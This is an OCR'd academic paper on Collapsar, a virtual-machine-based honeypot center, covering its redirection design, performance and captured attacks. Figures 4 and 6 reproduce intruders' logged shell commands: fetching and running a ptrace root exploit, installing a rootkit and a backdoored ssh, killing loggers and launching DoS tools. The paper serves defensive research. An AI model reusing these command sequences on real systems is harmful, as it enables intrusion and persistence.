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Abstract

The honeypot has emerged as an effective tool to provide
insights into new attacks and current exploitation trends.
Though effective, a single honeypot or multiple indepen-
dently operated honeypots only provide a limited local
view of network attacks. Deploying and managing a
large number of coordinating honeypots in different net-
work domains will not only provide a broader and more
diverse view, but also create potentials in global net-
work status inference, early network anomaly detection,
and attack correlation in large scale. However, coordi-
nated honeypot deployment and operation require close
and consistent collaboration across participating network
domains, in order to mitigate potential security risks as-
sociated with each honeypot and the non-uniform level
of security expertise in different network domains. It is
challenging, yet desirable, to provide the two conflicting
features of decentralized presence and uniform manage-
ment in honeypot deployment and operation.

To address these challenges, this paper presents Col-
lapsar, a virtual-machine-based architecture for network
attack detention. A Collapsar center hosts and manages
a large number of high-interaction virtual honeypots in
a local dedicated network. These honeypots appear, to
potential intruders, as typical systems in their respective
production networks. Decentralized logical presence of
honeypots provides a wide diverse view of network at-
tacks, while the centralized operation enables dedicated
administration and convenient event correlation, elimi-
nating the need for honeypot experts in each production
network domain. We present the design, implementation,
and evaluation of a Collapsar testbed. Our experiments
with several real-world attack incidences demonstrate the
effectiveness and practicality of Collapsar.

1 Introduction

Recent years have witnessed a phenomenal increase in
network attack incidents [16]. This has motivated re-
search efforts to develop systems and testbeds for captur-
ing, monitoring, analyzing, and, ultimately, preventing
network attacks. Among the most notable approaches,
the honeypot [9] has emerged as an effective tool for
observing and understanding intruder’s toolKkits, tactics,
and motivations. A honeypot’s nature is to suspect every
packet transmitted to/from it, giving it the ability to col-
lect highly concentrated and less noisy datasets for net-
work attack analysis.

However, honeypots are not panacea and suffer from
a number of limitations. In this paper, we will focus on
the following limitations of independently operated hon-
eypots:

e A single honeypot or multiple independently oper-
ated honeypots only provide a limited local view of
network attacks. There is a lack of coordination
among honeypots running in different networks,
causing them to miss the opportunity to form a wide
diverse view for global network attack monitoring,
correlation, and trend prediction.

e Honeypot deployment has inherent security risks
and requires non-trivial efforts in monitoring and
interpreting honeypot status. Strong security exper-
tise is needed for safe and effective honeypot oper-
ations. However, such expertise is not likely to be
available everywhere. Lack of judicious and con-
sistent governance of honeypots calls for a central-
ized honeypot management scheme backed by spe-
cial expertise and strict regulations.

It is challenging, yet desirable, to accommodate two
conflicting features in honeypot deployment and oper-
ation: decentralized presence and centralized manage-
ment. To address these challenges, this paper presents



Collapsar, a virtual machine (VM) based architecture for
a network attack detention center. A Collapsar center
hosts and manages a large number of honeypots in a lo-
cal dedicated physical network. However, to the intrud-
ers, these honeypots appear to be in different network
domains. These two seemingly conflicting features are
achieved by Collapsar. On one hand, honeypots are log-
ically present in different physical production networks,
providing a more distributed diverse view of network at-
tacks. On the other hand, the centralized physical loca-
tion gives security experts the ability to locally manage
honeypots and collect, analyze, and correlate attack data
pertaining to multiple production networks.

There are two types of components in Collapsar: func-
tional components and assurance modules. Functional
components are integral parts of Collapsar, responsible
for creating decentralized logical presence of honeypots.
Through the functional components, suspicious traffic
will be transparently redirected from different produc-
tion networks to the Collapsar center (namely the physi-
cal detention center) where honeypots accept traffic and
behave, to the intruders, like authentic hosts. Assurance
modules are pluggable and are responsible for mitigat-
ing the risks associated with honeypots and collecting
tamper-proof log information for attack analysis.

In summary, Collapsar has the following advantages
over conventional honeypot systems: (1) distributed vir-
tual presence, (2) centralized management, and (3) con-
venient attack correlation and data mining. The rest of
this paper is organized as follows: Section 2 presents
background information about conventional honeypots
and describes the Collapsar vision and challenges. The
architecture of Collapsar is presented in Section 3, while
the implementation details of Collapsar are described in
Section 4. Section 5 evaluates Collapsar’s performance.
Section 6 presents several real-world attack incidents
captured by our Collapsar prototype. Related work is
presented in Section 7. Finally, we conclude this paper
in Section 8.

2 Honeypots and Collapsar

According to Lance Spitzner’s definition [37], a hon-
eypot is a “security resource whose value lies in being
probed, attacked, or compromised.” The resource can be
actual computer systems, scripts running emulated ser-
vices [36], or honeytokens [40]. This paper focuses on
honeypots in the form of actual computer systems.
Honeypots can be classified based on level of inter-
action with intruders. The typical classifications are:
high-interaction honeypots, medium-interaction honey-
pots, and low-interaction honeypots. High-interaction
honeypots allow intruders to access a full-fledged op-
erating system with few restrictions, although, for se-

curity reason, the surrounding environment may be re-
stricted to confine any hazardous impact of honeypots.
This is highly valuable because new attack tools and vul-
nerabilities in real operating systems and applications
can be brought to light [13]. However, such a value
comes with high risk and increased operator responsibil-
ity. Medium-interaction honeypots involve less risk but
more restrictions than high-interaction honeypots. One
example of medium-interaction is the use of jail or chroot
in a UNIX environment. Still, medium-interaction hon-
eypots provide more functionalities than low-interaction
honeypots, which are, on the contrary, easier to install,
configure, and maintain. Low-interaction honeypots can
emulate a variety of services that the intruders can (only)
interact with.

Another classification criteria differentiates between
physical honeypots and virtual honeypots. A physical
honeypot is a real machine in a network, while a vir-
tual honeypot is a virtual machine hosted in a physical
machine. For example, honeyd [36] is an elegant and ef-
fective low-interaction virtual honeypot framework. In
recent years, advances in virtual machine enabling plat-
forms have allowed for development and deployment of
virtual honeypots. Virtual machine platforms such as
VMware [11] and User-Mode Linux (UML) [24] enable
high-fidelity emulation of physical machines, and have
been increasingly adopted to host virtual honeypots [9].

2.1 Collapsar: Vision and Challenges

Honeypots in Collapsar can be categorized as high-
interaction and virtual. More importantly, Collapsar
honeypots are physically located in a dedicated local
network but are logically dispersed in multiple network
domains. This property reflects the vision of Honey-
farm [39] proposed by Lance Spitzner. However, to
the best of our knowledge, there has been no prior real-
ization of Honeyfarm using high-interaction honeypots,
with detailed design, implementation, and real-world ex-
periments. Furthermore, we demonstrate that by using
high-interaction honeypots, the Honeyfarm vision can
be more completely realized than using low-interaction
honeypots or passive traffic monitors. Meanwhile, we
identify new challenges associated with high-interaction
honeypots in mitigating risks and containing attacks.

The development of Collapsar is more challenging
than the deployment of a stand-alone decoy system. Sys-
tem authenticity requires honeypots to behave, from an
intruder’s point of view, as normal hosts in their associ-
ated network domains. From the perspective of Collap-
sar operators, the honeypots should be easily configured,
monitored, and manipulated for system manageability.
To realize a full-fledged Collapsar, the following prob-
lems need to be addressed:
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Figure 1: Architecture of Collapsar: a VM-

e How to redirect traffic? Traffic toward a honey-
pot should be transparently redirected from the tar-
get network to the Collapsar center without the in-
truder being aware of the redirection. Traffic redi-
rection can be performed by network routers or by
end-systems. While the end-system-based approach
adds additional delay to the attack packets and intro-
duces extra traffic to the target production network,
the router-based approach requires network admin-
istration privileges in every target network domain.
Moreover, a virtual honeypot in the Collapsar center
is expected to exhibit similar network configuration
and behavior as the regular hosts in the same target
network. Such requirements add to the complexity
of redirection mechanisms.

What traffic to redirect? To achieve high authen-
ticity, all traffic to a honeypot needs to be redi-
rected, even if some traffic (such as broadcast) is
not bound exclusively for the honeypot. However,
redirection of all related traffic will incur consid-
erable overhead. More seriously, some traffic may
contain sensitive or private information that the in-
truder should not be given access to. Such informa-
tion should be filtered before redirection. While ju-
dicious traffic redirection is necessary to create au-
thentic environments for trapping highly motivated
intruders, it could be somewhat relaxed for captur-
ing self-propagating computer worms.

When to stop an intrusion? Honeypots are designed
to exhibit vulnerability and are likely to be com-
promised. However, the vulnerability may cascade.

Correlation Engine

based network attack detention center

A compromised honeypot can be used in another
round of worm propagation or DDoS attack. Col-
lapsar should detect and prevent such attacks before
any real damage is done. However, simply blocking
all outgoing traffic is not a good solution, because it
will curtail the collection of evidence of the attacks,
such as communication with other cohorts and the
downloading of rootkits. The challenge is to decide
the right time to say ‘Freeze!” to the intruder.

This paper presents our solutions to the first problem.
For the second and the third problems, we have devel-
oped Collapsar components and mechanisms for the en-
forcement of different traffic filtering and attack curtail-
ing policies specified by Collapsar operators and network
administrators. This paper does not address any specific
policy and its impact. Instead, it focuses on the architec-
tural and functional aspects of Collapsar.

3 Architecture of Collapsar

The architecture of Collapsar is shown in Figure 1. Col-
lapsar is comprised of three main functional compo-
nents: the redirector, the front-end, and the virtual hon-
eypot (VM). These components work together to achieve
authenticity-preserving traffic redirection. Collapsar also
includes the following assurance modules in order to
capture, contain, and analyze the activities of intruders:
the logging module, the tarpitting module, and the corre-
lation module.



3.1 Functional Components
3.1.1 Redirector

The redirector is a software component running on a des-
ignated machine in each target production network. Its
purpose is to forward attack-related traffic to virtual hon-
eypots in the Collapsar center which will accept traffic
and behave like normal hosts under attack. A redirec-
tor has three main functions: traffic capture, traffic fil-
tering, and traffic diversion. Traffic capture involves the
interception of all packets (including unicast and mul-
ticast packets) toward a honeypot. Since the captured
packets may contain sensitive information, traffic filter-
ing needs to be performed according to rules specified
by the network administrator. Finally, packets that have
gone through the filter will be encapsulated and diverted
to the Collapsar center by the traffic diversion function.

3.1.2 Front-end

The front-end is a gateway to the Collapsar center. It
receives encapsulated packets from redirectors in differ-
ent production networks, decapsulates the packets, and
dispatches them to the intended virtual honeypots in the
Collapsar center. To avoid becoming a performance bot-
tleneck, multiple front-ends may exist in a Collapsar cen-
ter.

In the reverse direction, the front-end accepts response
traffic from the honeypots, and scrutinizes all packets
with the help of assurance modules (to be described in
Section 3.2) for attack stoppage. If necessary, the front-
end will curtail the interaction with the intruder to pre-
vent a compromised honeypot from attacking other hosts
on the Internet. If a policy determines that continued in-
teraction is allowed, the front-end will forward the pack-
ets back to their original redirectors which will then redi-
rect the packets into the network, such that the packets
appear to the remote intruder as originating from the tar-
get network.

3.1.3 Virtual Honeypot

Honeypots accept packets coming from redirectors and
behave as if they are hosts in the targeted production net-
work being probed. Physically, the traffic between the in-
truder and the honeypot follows the path from intruder’s
machine to redirector to Collapsar front-end to honey-
pot. Logically, the intruder interacts directly with the
honeypot. To achieve authenticity, the honeypot has the
same network configuration as other hosts in the produc-
tion network including the default router, DNS servers,
and mail servers. Honeypots in Collapsar are virtual ma-
chines hosted by physical machines in the Collapsar cen-
ter. Virtualization not only achieves resource-efficient

honeypot consolidation, but also adds powerful capabili-
ties to network attack investigation such as tamper-proof
logging, capturing of live image snapshots, and dynamic
honeypot creation and customization [38].

3.2 Assurance Modules

The Collapsar functional components create virtual pres-
ence of honeypots. Assurance modules provide neces-
sary facilities for attack investigation and mitigation of
associated risks.

3.21 Logging Module

Recording how an intruder exploits software vulnerabil-
ities is critical to understanding the tactics and strategies
of intruders [9]. All communications related to honey-
pots are highly suspicious and need to be recorded. How-
ever, the traditional Network Intrusion Detection Sys-
tem (NDIS) based on packet sniffing may become less
effective if the attack traffic is encrypted. In fact, it
has become common for intruders to communicate with
compromised hosts using encryption-capable backdoors,
such as trojaned sshd daemons. In order to log the details
of such attacks without intruders tampering with the log,
the logging module in each honeypot consists of sensors
embedded in the honeypot’s guest OS as well as log stor-
age in the physical machine’s host OS. As a result, log
collection is invisible to the intruder and the log storage
is un-reachable by the intruder.

3.2.2 Tarpitting Module

Deploying high-interaction honeypots is risky in that
they can be used by an intruder as a platform to launch a
second round of attack or to propagate worm. To mitigate
such risks, the Collapsar’s tarpitting module subverts in-
truder activities by (1) throttling out-going traffic from
honeypots [41] by limiting the rate packets are sent (for
example TCP-SYN packets) or reducing average traffic
volume and (2) scrutinizing out-going traffic based on
known attack signatures, and crippling detected attacks
by invalidating malicious attack codes [7].

3.2.3 Correlation Module

Collapsar provides excellent opportunities to mine log
data for correlated events that an individual honeypot or
multiple independently operated honeypots cannot offer.
Such capability is enabled by the correlation module. For
example, the correlation module is able to detect network
scanning by correlating simultaneous or sequential prob-
ing (ICMP echo requests or TCP-SYN packets) of hon-
eypots that logically belong to different production net-
works. If the networks are probed within a short period



(such as in a couple of seconds), it is likely the network
is being scanned. The correlation module can also be
used to detect on-going DDoS attacks [35], worm prop-
agations [43], and hidden overlay networks such as IRC-
based networks or peer-to-peer networks formed by cer-
tain worms.

4 Implementation of Collapsar

In this section, we present the implementation details of
Collapsar. Based on virtual machine technologies, Col-
lapsar is able to support virtual honeypots running vari-
ous operating systems.

4.1 Traffic Redirection

There are two approaches to transparent traffic redirec-
tion: the router-based approach and the end-system-
based approach. In the router-based approach, an inter-
mediate router or the edge router of a network domain
can be configured to activate the Generic Routing Encap-
sulation (GRE) [28, 29] tunneling mechanism to forward
honeypot traffic to the Collapsar center. The approach
has the advantage of high network efficiency. However,
it requires the privilege of router configuration. On the
other hand, the end-to-end approach does not require
access and changes to routers. Instead, it requires an
application-level redirector in the target production net-
work for forwarding packets between the intruder and
the honeypot. In a fully cooperative environment such
as a university campus, the router-based approach may
be a more efficient option, while in an environment with
multiple autonomous domains, the end-system-based ap-
proach may be adopted for easy deployment. In this pa-
per, we describe the design and implementation of the
end-system-based approach.

To more easily describe the end-system-based ap-
proach, let R be the default router of a production net-
work, H be the IP address of the physical host where the
redirector component runs, and V' be the IP address of
the honeypot as appearing to the intruders. H, V, and
an interface of R, say Iy, belong to the same network.
When there is a packet addressed to V, router R will re-
ceive it first and then try to forward the packet based on
its current routing table. Since address 1 appears in the
same network as I;, R will send the packet over I;. To
successfully forward the packet to V/, R needs to know
the corresponding MAC address of V' in the ARP cache
table. If the MAC address is not in the table, an ARP
request packet will be broadcasted to get the response
from V. H will receive the ARP request. H knows that
there is no real host with IP address V. To answer the
query, H responds with its own MAC address, so that
the packet to V' can be sent to H and the redirector in

H will then forward the packet to the Collapsar center.
Note that one redirector can support the virtual presence
of multiple honeypots in the same production network.

The redirector is implemented as a virtual machine
running our extended version of UML. This approach
adds considerable flexibility to the redirector since the
VM is able to support policy-driven configuration for
packet filtering and forwarding, and can be conveniently
extended to support useful features such as packet log-
ging, inspection, and in-line rewriting. The redirector
has two virtual NICs: the pcap/libnet interface and the
tunneling interface. The pcap/libnet interface performs
the actual packet capture and injection. Captured pack-
ets will be echoed as input to the UML kernel. The redi-
rector kernel acts as a bridge, and performs policy-driven
packet inspection, filtering, and subversion. The tunnel-
ing interface tunnels the inspected packets transparently
to the Collapsar center. For communication in the op-
posite direction, the redirector kernel’s tunneling inter-
face accepts packets from the Collapsar center and moves
them into the redirector kernel itself, which will inspect,
filter, and subvert the packets from the honeypots, and re-
inject the inspected packets into the production network
through the pcap/libnet interface.

4.2 Traffic Dispatching

The Collapsar front-end is similar to a transparent fire-
wall. It dispatches incoming packets from redirectors
to their respective honeypots based on the destination
field in the packet header. The front-end can also be im-
plemented using UML which creates another point for
packet logging, inspection, and filtering.

Ideally, packets should be forwarded directly to the
honeypots after dispatching. However, virtualization
techniques in different VM enabling platforms compli-
cate this problem. In order to accommodate various VMs
(especially those using VMware), the front-end will first
inject packets into the Collapsar network via an injection
interface. The injected packets will then be claimed by
the corresponding virtual honeypots and be moved into
the VM Kkernels via their virtual NICs. This approach
supports VMware-based VMs without any modification.
However, it incurs additional overhead (as shown in Sec-
tion 5). Furthermore, it causes the undesirable cross-talk
between honeypots which logically belong to different
production networks. Synthetic cross-talk may decrease
the authenticity of Collapsar. A systematic solution to
this problem requires a slight modification to the virtu-
alization implementation, especially the NIC virtualiza-
tion. Unfortunately, modifying the VM requires the ac-
cess to the VM’s source code. With open-source VM
implementations, such as UML, the injection interface
of the front-end can be modified to feed packets directly



into the VM (honeypot) kernels. As shown in Section 5,
considerable performance improvement will be achieved
with this technique.

4.3 Virtual Honeypot

The virtual honeypots in Collapsar are highly interactive.
They can be compromised and fully controlled by in-
truders. Currently, Collapsar supports virtual honeypots
based on both VMware and UML. Other VM enabling
platforms such as Xen [22], Virtual PC [10], and UM-
Linux [30] will also be supported in the future.

VMware is a commercial software system and is one
of the most mature and versatile VM enabling platforms.
A key feature is the ability to support various commod-
ity operating systems and to take snapshot of live vir-
tual machine images. Support for commodity operating
systems provides more diverse view of network attacks,
while image snapshot generation and restoration (with-
out any process distortion) add considerable convenience
to forensic analysis.

As mentioned in Section 4.2, the network interface
virtualization of VMware is not readily compatible with
Collapsar design. More specifically, VMware creates
a special vmnet, which emulates an inner bridge. A
VMware-hosted virtual machine injects packets directly
into the inner bridge, and receives packets from the inner
bridge. A special host process is created to be attached
to the bridge and acts as an agent to forward packets be-
tween the local network and the inner bridge. The ability
to read packets from the local network is realized by a
loadable kernel module called vmnet.o, which installs a
callback routine registering for all packets on a speci-
fied host NIC via the dev_add_pack routine. The packets
will be re-injected into the inner-bridge. Meanwhile, the
agent will read packets from the inner-bridge and call the
dev_queue_ xmit routine to directly inject packets to the
specified host NIC. It is possible to re-write the special
host process to send/receive packets directly to/from the
Collapsar front-end avoiding the overhead of injecting
and capturing packets twice - once in the front-end and
once in the special host process. This solution requires
modifications to VMware.

UML is an open-source VM enabling platform that
runs directly in the unmodified user space of the host
OS. Processes within a UML (the guest OS) are executed
in the virtual machine in exactly the same way as they
would be executed on a native Linux machine. Leverag-
ing the capability of ptrace, a special thread is created to
intercept the system calls made by any process thread in
the UML kernel, and redirect them to the guest OS ker-
nel. Meanwhile, the host OS has a separate kernel space,
eliminating any security impact caused by the individual
UMLs.

Taking advantage of UML being open source, we
enhance UML’s network virtualization implementation
such that each packet from the front-end can be imme-
diately directed to the virtual NIC of a UML-based VM.
This technique not only avoids the unnecessary packet
capture and re-injection, as in VMware, but also elimi-
nates the cross-talk between honeypots in the Collapsar
center.

4.4 Assurance Modules

Logging modules are deployed in multiple Collapsar
components including redirectors, front-ends, and hon-
eypots. Transparent to intruders, logging modules in dif-
ferent locations record attack-related information from
different view points. Simple packet inspection tools,
such as tcpdump [8] and snort [6] are able to record
plain traffic, while embedded sensors inside the honeypot
(VM) kernel are able to uncover an intruder’s encrypted
communications. In section 6.1, we will present details
of several attack incidences demonstrating the power
of in-kernel logging. The in-kernel logging module
in VMware-based honeypots leverages an open-source
project called sebek [5], while in-kernel logging module
for UML-based honeypots is performed by kernort [31],
a kernelized snort [6].

Tarpitting modules are deployed in both the front-end
and redirectors. The modules perform in-line packet in-
spection, filtering, and rewriting. Currently, the tarpit-
ting module is based on snort-inline [7], an open-source
project. It can limit the number of out-going connections
within a time unit (e.g., one minute) and can also com-
pare packet contents with known attack signatures in the
snort package. Once a malicious code is identified, the
packets will be rewritten to invalidate its functionality.

The Collapsar center provides a convenient venue to
perform correlation-based attack analysis such as wide-
area DDoS attacks or stepping stone attacks [42]. The
current prototype is capable of attack correlation based
on simple heuristics and association rules. However, the
Collapsar correlation module can be extended in the fu-
ture to support more complex event correlation and data
mining algorithms enabling the detection of non-trivial
attacks such as low and slow scanning and hidden over-
lay networks.

5 Performance Measurement

The VM technology provides effective support for high-
interaction honeypots. However, the use of virtual ma-
chines inevitably introduces performance degradation.
In this section, we first evaluate the performance over-
head of two currently supported VM platforms: VMware
and UML. We then present the end-to-end networking



overhead caused by the Collapsar functional components
for traffic redirection and dispatching.

To measure the virtualization-incurred overhead, we
use two physical hosts (with aliases seattle and tacoma,
respectively) with no background load, connected by a
lightly loaded 100Mbps LAN. Seattle is a Dell Pow-
erEdge server with a 2.6GHz Intel Xeon processor and
2GB RAM, while tacoma is a Dell desktop PC with a
1.8GHz Intel Pentium 4 processor and 768MB RAM.
A VM runs on top of seattle, and measurement packets
are sent from tacoma to the VM. The TCP throughput
is measured by repeatedly transmitting a file of 2100MB
under different socket buffer size, while the latency is
measured using standard ICMP packets with different
payload sizes. Three sets of experiments are performed:
(1) from tacoma to a VMware-based VM in seattle, (2)
from tacoma to a UML-based VM in seattle, and (3)
from tacoma directly to seattle with no VM running.
The results in TCP throughput and ICMP latency are
shown in Figures 2(a) and 2(b), respectively. The curves
“VMware,” “UML,” and “Direct” correspond to experi-
ments (1), (2), and (3), respectively.

Figure 2(a) indicates that UML performs worse in
TCP throughput than VMware, due to UML’s user-level
virtualization implementation. More specifically, UML
uses a ptrace-based technique implemented at the user
level and emulates an x86 machine by virtualizing sys-
tem calls. On the other hand, VMware employs the
binary rewriting technique implemented in the kernel,
which inserts a breakpoint in place of sensitive instruc-
tions. However, both VMware and UML exhibit simi-
lar latency degradation because the (much lighter) ICMP
traffic does not incur high CPU load therefore hiding the
difference between kernel and application level virtual-
ization. A more thorough and rigorous comparison be-
tween VMware and UML is presented in [22].

We then measure the performance overhead incurred
by the traffic redirection and dispatching mechanisms of
Collapsar. We set up tacoma as the Collapsar front-end.
In a different LAN, we deploy a redirector running on a
machine with the same configuration as seattle. The two
LANSs are connected by a high performance Cisco 3550
router. A machine M in the same LAN as the redirector
serves as the “intruder” machine, connecting to the VM
(honeypot) running in seattle. Again, three sets of ex-
periments are performed for TCP throughput and ICMP
latency measurement: (1) from M to a VMware-based
honeypot in seattle, (2) from M to a UML-based hon-
eypot in seattle, and (3) from M to the machine hosting
the redirector (but without the redirector running). The
results are shown in Figures 3(a) and 3(b). The curves
“VMware,” “UML,” and “Direct” correspond to experi-
ments (1), (2), and (3), respectively.

Contrary to the results in Figures 2(a) and 2(b), the

UML-based VM achieves better TCP throughput and
ICMP latency than the VMware-based VM. We believe
this is due to the optimized traffic dispatching mecha-
nism implemented for UML (Section 4.2). Another im-
portant observation from Figures 3(a) and 3(b) is that
traffic redirecting and dispatching in Collapsar incur
a non-trivial network performance penalty (comparing
with the curve “Direct”). For remote intruders (or those
behind a weak link), such penalty may be “hidden” by
the already degraded end-to-end network performance.
However, for “nearby” intruders, such penalty may be
observable by comparing performance to a real host in
the same network. This is a limitation of the Collapsar
design. Router-based traffic redirection (Section 4.1) as
well as future hardware-based virtualization technology
are expected to alleviate this limitation.

6 Experiments with Collapsar

In this section, we present a number of real-world
network attack incidences captured by our Collapsar
testbed. We also present the recorded intruder activities
to demonstrate the effectiveness and practicality of Col-
lapsar. Finally, we demonstrate the potential of Collapsar
in log mining and event correlation.

6.1 Attack Case Study

In our Collapsar testbed, there are five production net-
works: three Ethernet LANs, one wireless LAN, and
one DSL network. A Collapsar center is located in an-
other Ethernet LAN. The virtual honeypots in the Col-
lapsar center run a variety of operating systems, includ-
ing RedHat Linux 7.2/8.0, Windows XP Home Edition,
FreeBSD 4.2, and Solaris 8.0. Before the start of Col-
lapsar operation, the md5sum of every file in a hon-
eypot (virtual machine), except in the Windows hon-
eypot, has been calculated and stored for future refer-
ences. For each representative attack incidence, we ex-
amine the specific vulnerability, describe how the sys-
tem was compromised, and show the intruder’s activities
after the break-in. We note that these attacks are well-
known attacks and have previously been reported. Our
only purpose is to demonstrate the effectiveness of Col-
lapsar when facing real-world attacks.

6.1.1 Linux/VMwareHoneypot

The first recorded incidence was an attack on an Apache
server version 1.3.20-16 running on RedHat 7.2 using the
Linux kernel 2.4.7-10. The honeypot compromised was
a VMware-based virtual machine in the Collapsar cen-
ter, with logical presence in one of the LAN production
networks.
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Figure 3: Comparing Collapsar-incurred overhead: VMware vs. UML

e Vulnerability description: Apache web server ver-
sions up to and including 1.3.24 contain a vulnera-
bility [14] in the chunk-handling routines. A care-
fully crafted invalid request can cause an Apache
child process to call the memcpy() function in a way
that will write past the end of its buffer, corrupting
the stack and thus resulting in a stack overflow. Re-
mote intruders can exploit this vulnerability to ac-
cess the system using the system’s Apache account.

Unpatched Linux kernels version 2.4.x contain a
ptrace vulnerability [19], which can be exploited by
malicious local users to escalate their privileges to
root.

Incident: An Apache honeypotwas deployed in the
Collapsar center at 11:44:03PM on 11/24/2003 and
was compromised at 09:33:55AM on 11/25/2003.

Collapsar captured all information related to the
vulnerability-exploiting process, including the in-
truder’s keystrokes after the break-in as shown in
Figure 4. The complete log of the break-in is avail-
able on the Collapsar website [18].

First a TCP connection to port 443 on the honeypot
was initiated, then the intruder sent one malicious
packet (actually several TCP segments), triggering
buffer overflow in the Apache web server. The ma-
licious code contained in the packets spawned a
shell with the privilege of the system’s Apache ac-
count. With the shell, the intruder quickly down-
loaded, compiled, and executed a program exploit-
ing the ptrace vulnerability [19]. Once executed,
the ptrace exploitation code gave the intruder root
privilege. After obtaining root privilege, the in-
truder downloaded a rootkit called SHv4 Rootkit



[ 2003-11-25 09: 33: 55 aaa. bb.c.126 7817 sh 48] export H STFI LE=/dev/null; echo;
echo ' >>>> GAME OVER! Hackerz Wn ;) <<<<'; echo; echo; echo "******x | AM
IN’“hostname -f‘' ****x*". echo; if [ -r /etc/redhat-release ]; then echo
cat /etc/redhat-release'; elif [ -r /etc/suse-release ]; then echo SuSe ‘cat
etc/suse-release'; elif [ -r /etc/slackware-version ]; then echo Slackware
cat /etc/slackware-version‘; fi; unane -a; id; echo

[ 2003-11-25 09:34:01 aaa.bb.c.126 7817 sh 48]cd /tnp
[ 2003-11-25 09:34: 07 aaa.bb.c.126 7817 sh 48] wget http://XXXXXXXXXXXXXXXXXXXX. XX
0304- expl oi t s/ ptrace-kmod. ¢c; gcc ptrace-knod.c -0 p;./p

[ 2003-11-25 09:35:46 aaa.bb.c.126 7838 sh O]wget http://XxxxxXxxX.xx.xx/ vip/shaul i/

shv4.tar.gz;tar -xzf shv4.tar.gz;cd shv4;./setup rooter 1985

[ 2003-11-25 09: 36: 16
[ 2003-11-25 09: 36: 57

aaa. bb. c. 126 8009 xntps 0] SSH 1. 5- PUuTTY- Rel ease- 0. 53b

aaa. bb. c. 126 8009 xntps 0] cd /homne; adduser ftpd;su ftpd

[ 2003-11-25 09:37: 00 aaa.bb.c.126 8009 xntps O]cd ftpd;nkdir .logs;cd .logs

[ 2003-11-25 09: 37: 04 aaa. bb.c.126 8009 xntps O]wget http://xxxxxxx.xxx/ archive/
1.2/irofferl.2b22.tgz; tar -zvxf irofferl.2b22.tgz;cd irofferl. 2b22;./Configure; make

[ 2003-11-25 09: 37: 50 aaa. bb.c.126 8009 xntps O] mv iroffer syst

[ 2003-11-25 09: 37: 52 aaa. bb.c. 126 8009 xntps O] pico rpm

[ 2003-11-25 09:38: 01 aaa.bb.c.126 8009 xntps 0]./syst -b rpmdev/null &

1. Gaining a regul ar
account: apache

2. Escalating to the
root privilege

3. Installing a set
of backdoors

4. Adding the ftp user
and installing a
| RC-based ftp server

Figure 4: Collapsar log of intruder activities after Apache break-in

** 0 packs **
**  Bandwi dth Usage **
**  To request a file type:

Total Offered: 0.0 MB Total

30 of 30 slots open,
Current:
"I mBg XXXXXXXXXXX XXXX send #x" **
**  Brought To You By xxxxxx **

Transferred: 0.00 MB

M n:
0. OKB/ s,

3. 0KB/ s

Figure 5: Apache attack leading to an iroffer backdoor, logged by Collapsar

[34] and installed a trojaned ssh backdoor with a
password rooter on port 1985. Upon successfully
installing the trojaned ssh server, a login session
was initiated from PUTTY version 0.53b, a popu-
lar Windows SSH client, to the port 1985 access-
ing the trojaned ssh server, so that all communica-
tions between the honeypot and the intruder could
be encrypted. Traditional techniques such as tcp-
dump and NIDS become less effective once traffic
is encrypted. However, the Collapsar in-kernel log-
ging module sebek [5] was able to hijack SYS_read
system call and recognize the intruder’s keystrokes
(Figure 4).

Backdoor in action: Based on the logged
keystrokes, we were able to infer the intruder’s tac-
tics and goals. The intruder first added a new user
account ftp, then installed iroffer [2]. Iroffer is a pro-
gram that enables the hosting machine to act as a file
server for an IRC channel similar to the Napster file
sharing system [3]. Once started, iroffer connected
to an IRC server and logged into a certain channel.
The intruder was able to remotely re-configure irof-
fer which would periodically report its status in the
channel, including available space, files, and trans-
mission status. Figure 5 shows a status report gen-
erated by iroffer and logged by Collapsar logging
module. It indicates that the intruder was able to

request/offer files from/to others in the channel.

e Forensic analysis: After detecting iroffer installa-
tion, no further keystrokes were captured. We took
a snapshot of the honeypot image (available in [18])
and disconnected the honeypot from the Collapsar
center. A quick verification using md5sum revealed
several trojaned system routines, including netstat,
Is, ps, find, and top; one ssh backdoor; and the irof-
fer program.

6.1.2 Linux/UML Honeypot

The second incidence was an attack on the Samba server
version 2.2.1a-4 running on RedHat 7.2. The honeypot
was a UML-based virtual honeypot with enhanced net-
work virtualization. The honeypot resided in the Collap-
sar center but had a logical presence in one of the LAN
production networks.

e Vulnerability description: The Samba server ver-
sions 2.0.x through 2.2.7a contain a buffer over-
flow vulnerability associated with the re-assembly
of SMB/CIFS packet fragments [17]. This vulner-
ability allows a remote intruder to gain root privi-
leges in a host running the Samba server.

e Incident: The Samba honeypot was activated in the
Collapsar center at 12:01:03PM on 11/25/2003, and



[2003-11-26 11:41:17 aaa.bb.c.31 8100 sh OJunset H STFILE; echo "wooooot! xxxxx owns
u :)";uname -a;id;upting;

[2003-11-26 11:41:32 aaa.bb.c.31 8100 sh O] wget xxxxxx.xx.xx/rkzz.tgz

[2003-11-26 11:41:48 aaa.bb.c.31 8100 sh OJtar -zxvf rkzz.tgz;rm-rf rkzz.tgz;cd . max;
.linstall

[2003-11-26 11:41:58 aaa.bb.c.31 8100 sh O]killall -9 snbd nnbd |isa | ogger
[2003-11-26 11:51:14 aaa.bb.c.31 8163 httpd 0] SSH 1. 5- PUTTY- Rel ease- 0. 53b
[2003-11-26 11:51:30 aaa.bb.c.31 8163 httpd O] pstree

[2003-11-26 11:51:34 aaa.bb.c.31 8163 httpd 0] ps -ax

[2003-11-26 11:51:49 aaa.bb.c.31 8163 httpd 0] wget Xxxxxxx.xx.xx/skk.tgz

[2003-11-26 11:52:03 aaa.bb.c.31 8163 httpd O]tar -zxvf skk.tzg;rm-rf skk.tg
[2003-11-26 11:52:07 aaa.bb.c.31 8163 httpd OJrm-rf skk.tgz

[2003-11-26 11:52: 08 aaa.bb.c.31 8163 httpd 0] cd skk

[2003-11-26 11:52:08 aaa.bb.c.31 8163 httpd 0] kk

[2003-11-26 11:52:09 aaa.bb.c.31 8163 httpd 0]./sk

[2003-11-26 11:52:11 aaa.bb.c.31 8163 httpd O]cd ..

[2003-11-26 11:56:42 aaa.bb.c.31 8163 httpd 0] wget xxxxxx.xx.xx/flood.tgz
[2003-11-26 11:57:32 aaa.bb.c.31 8163 httpd OJtar xvfz flood.tgz;rm-rf flood.tgz
[2003-11-26 11:57:35 aaa.bb.c.31 8163 httpd 0]cd flood

[2003-11-26 11:57:45 aaa.bb.c.31 8163 httpd 0]./al pha

1. Gaining a root
privilege directly

2. Installing a set
of backdoors

3. Downl oadi ng a set
of DoS attack tools
and initiating the
DoS attack

Figure 6: Collapsar log of intruder activities after SMB break-in

was compromised at 11:41:17AM on 11/26/2003.
